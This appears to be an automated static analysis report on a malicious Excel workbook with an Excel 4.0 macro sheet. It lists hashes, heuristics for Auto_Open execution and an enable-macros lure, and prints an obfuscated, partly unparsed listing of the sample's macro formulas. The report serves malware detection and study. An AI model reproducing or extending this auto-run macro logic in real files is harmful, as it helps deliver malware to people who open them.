Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 704733712ad7b1d6…

MALICIOUS

Office (OLE)

31.5 KB Created: 2021-01-28 11:28:46 Authoring application: Microsoft Excel First seen: 2021-02-19
MD5: f8429bcb3fab0cf4b1d00993ba862b93 SHA-1: f289c132d6a97ddaa5350f87de92855084c0eb70 SHA-256: 704733712ad7b1d6875d70c89df48635c9d549423e08cb0b54776cfb0ee8f680
160 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 3250 bytes
SHA-256: ddaa2aac0ef0c7f285ce48d3efb7c22a611baecc8ae1dcc55731ff00e58d3fa1
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  yzYc
' 0018    555 LABEL : Cell Value, String Constant - aImS len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x11\x00\x00\x00\x00\x00'
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I131 
' 0018     28 LABEL : Cell Value, String Constant - BPQjUR len=7 ptgRef3d  yzYc!H47 
' 0018     23 LABEL : Cell Value, String Constant - BPUru len=3 ptgInt 0 
' 0018   2072 LABEL : Cell Value, String Constant - ckOgu len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00%\x00\x00\x00\x00\x00'
' 0018     28 LABEL : Cell Value, String Constant - eGuCAM len=7 ptgRef3d  yzYc!B55 
' 0018     28 LABEL : Cell Value, String Constant - fhFyGo len=7 ptgRef3d  yzYc!G42 
' 0018     22 LABEL : Cell Value, String Constant - gsNWoRF len=0 
' 0018     29 LABEL : Cell Value, String Constant - GvAlbvR len=7 ptgRef3d  Sheet!I83 
' 0018     30 LABEL : Cell Value, String Constant - iGJnejKM len=7 ptgRef3d  yzYc!D58 
' 0018     30 LABEL : Cell Value, String Constant - iomnbKDv len=7 ptgRef3d  yzYc!A47 
' 0018     28 LABEL : Cell Value, String Constant - jCvLhP len=7 ptgRef3d  yzYc!E42 
' 0018     25 LABEL : Cell Value, String Constant - LVccCxa len=3 ptgInt 0 
' 0018     25 LABEL : Cell Value, String Constant - nuVSqiz len=3 ptgInt 0 
' 0018    120 LABEL : Cell Value, String Constant - sbaA len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\t\x00\x00\x00\x00\x00'
' 0018     23 LABEL : Cell Value, String Constant - Upigc len=3 ptgInt 0 
' 0018     26 LABEL : Cell Value, String Constant - uTpj len=7 ptgRef3d  yzYc!C53 
' 0018     30 LABEL : Cell Value, String Constant - yjyeUeup len=7 ptgRef3d  yzYc!F42 
' 0018     27 LABEL : Cell Value, String Constant - yQaWf len=7 ptgRef3d  yzYc!I54 
' 0018     30 LABEL : Cell Value, String Constant - zDletpdm len=7 ptgRef3d  yzYc!J53 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,E41,"ABC",""
'  Sheet,F41,"ABC",""
'  Sheet,G41,"ABC",""
'  Sheet,E42,[],""
'  Sheet,F42,[],""
'  Sheet,G42,sbaA,""
'  Sheet,A46,"ABC",""
'  Sheet,H46,"ABC",""
'  Sheet,A47,ROWS(aImS),""
'  Sheet,H47,[],""
'  Sheet,C52,"ABC",""
'  Sheet,J52,"ABC",""
'  Sheet,C53,aImS,""
'  Sheet,I53,"ABC",""
'  Sheet,J53,[],""
'  Sheet,B54,"ABC",""
'  Sheet,I54,[],""
'  Sheet,B55,ROWS(sbaA),""
'  Sheet,D57,"ABC",""
'  Sheet,D58,[],""
'  yzYc,I85,"A"&"B",""
'  yzYc,I86,[],""
'  yzYc,I91,"SET.VALUE(I117,"")",""
'  yzYc,I96,"LVccCxa",""
'  yzYc,I99,"DEFINE.NAME("Upigc",0)",""
'  yzYc,I102,[],""
'  yzYc,I106,"Upigc",""
'  yzYc,I109,"['I117', 'I117']",""
'  yzYc,I111,"nuVSqiz",""
'  yzYc,I114,NEXT(),""
'  yzYc,I120,"['I117', '"yzYcb!R"']",""
'  yzYc,I122,"gsNWoRF",""
'  yzYc,I125,NEXT(),""
'  yzYc,I128,RETURN(),""
'  yzYc,I136,"DEFINE.NAME("gsNWoRF",145)",""
'  yzYc,I144,GvAlbvR(),""
'  yzYc,I145,HALT(),""